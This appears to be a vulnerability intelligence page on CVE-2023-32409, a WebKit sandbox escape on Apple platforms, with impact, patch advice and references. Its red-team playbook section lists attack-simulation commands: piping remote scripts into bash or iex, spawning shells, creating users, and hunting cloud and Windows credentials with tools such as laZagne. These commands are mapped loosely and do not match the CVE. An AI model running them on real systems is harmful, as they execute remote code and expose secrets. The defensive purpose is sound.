CVE-2023-32409
Overview
This vulnerability is a sandbox escape caused by insufficient bounds checking within the Web Content sandbox component of Apple platforms. The root cause lies in improper validation of memory boundaries during processing of web content, allowing a remote attacker to manipulate internal data structures. The affected components include Safari and WebKit-based content rendering engines on macOS, iOS, iPadOS, watchOS, and tvOS.
Vulnerability Description
The issue was addressed with improved bounds checks. This issue is fixed in watchOS 9.5, tvOS 16.5, macOS Ventura 13.4, iOS 15.7.8 and iPadOS 15.7.8, Safari 16.5, iOS 16.5 and iPadOS 16.5. A remote attacker may be able to break out of Web Content sandbox. Apple is aware of a report that this issue may have been actively exploited.
Impact
An attacker can remotely execute arbitrary code outside the Web Content sandbox without requiring user interaction or credentials. This enables full compromise of the affected device’s user environment, including access to sensitive data and system resources normally isolated by the sandbox. The vulnerability facilitates escalation from a web-based attack vector to broader system control, potentially leading to data breaches and persistent system compromise.
Solution
Apply the security updates released by Apple as detailed in advisories HT213758, HT213762, and HT213764. Specifically, upgrade to macOS Ventura 13.4, iOS 15.7.8 or 16.5, iPadOS 15.7.8 or 16.5, watchOS 9.5, and tvOS 16.5 to obtain the fixed Web Content sandbox implementation. Refer to https://support.apple.com/en-us/HT213758 for detailed patch instructions and ensure all affected Apple devices are updated promptly.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from inadequate bounds checking in the Web Content sandbox of various Apple operating systems and applications, including Safari, iOS, iPadOS, macOS, watchOS, and tvOS. This flaw allows a remote attacker to potentially escape the confines of the sandbox, which is designed to isolate web content from the underlying operating system and other applications. The absence of stringent checks means that malicious web content could manipulate memory or execute arbitrary code outside of its intended environment. Such a breach could lead to unauthorized access to sensitive data or system resources, fundamentally undermining the security model that these platforms rely upon.
Exploitation of this vulnerability could occur through various attack vectors, primarily involving malicious web pages or scripts. An attacker might craft a specially designed website that, when visited by a user, triggers the flaw in the Web Content sandbox. This could allow the attacker to execute code on the victim's device, potentially leading to data theft, unauthorized access to user accounts, or even the installation of additional malware. Given the widespread use of Apple devices and the popularity of Safari as a web browser, the potential for exploitation is significant. Moreover, reports indicate that this vulnerability may have been actively exploited in the wild, highlighting the urgency for users to update their systems promptly.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Apple products for their operations. A successful exploitation could lead to data breaches, loss of intellectual property, and damage to brand reputation. For organizations handling sensitive customer information or proprietary data, the consequences could be severe, including regulatory fines and loss of customer trust. Furthermore, the potential for lateral movement within a corporate network increases the risk, as an attacker could leverage a compromised device to access more critical systems or data repositories.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating their affected devices to the latest versions of the operating systems and applications where the flaw has been addressed. Regular patch management is crucial in maintaining security hygiene and protecting against known vulnerabilities. Additionally, employing web filtering solutions can help block access to malicious sites that may attempt to exploit this weakness. Organizations should also consider implementing endpoint detection and response (EDR) solutions to monitor for unusual activity that could indicate an attempted exploitation. User education is equally important; training employees to recognize phishing attempts and suspicious web content can significantly reduce the risk of exploitation.
In conclusion, the vulnerability related to the Web Content sandbox in Apple products represents a critical security concern that necessitates immediate attention. The potential for remote code execution and the associated risks underscore the importance of maintaining updated systems and employing comprehensive security strategies. By understanding the technical details, recognizing the exploitation scenarios, and implementing robust detection and mitigation measures, organizations can better protect themselves against the threats posed by this vulnerability.
CSURFACE threat intelligence has identified a slight increase in detection activity related to CVE-2023-32409, indicating a modest uptick in adversary attempts to exploit the Web Content sandbox vulnerability in Apple operating systems. While no new exploit techniques or ransomware associations have emerged, this subtle rise in telemetry suggests that threat actors continue to probe for opportunities to leverage this weakness despite existing patches. The stable EPSS score corroborates that the overall exploit likelihood remains consistent; however, the observed trend underscores the persistence of interest in this vulnerability within the attacker community. For defenders, this means maintaining vigilance is essential, as the incremental increase in exploitation attempts could precede more sophisticated or widespread campaigns. Consequently, the threat level should be regarded as sustained high, reflecting ongoing adversarial engagement rather than a diminishing risk.
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
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|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
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Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
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Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
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Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
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Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
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Exploits
No exploits found for this CVE.
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-32409 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213758 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213762 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213764 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213842 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213757 |
| support.apple.com |
GitHub CVE
|
https://support.apple.com/en-us/HT213761 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-32409 |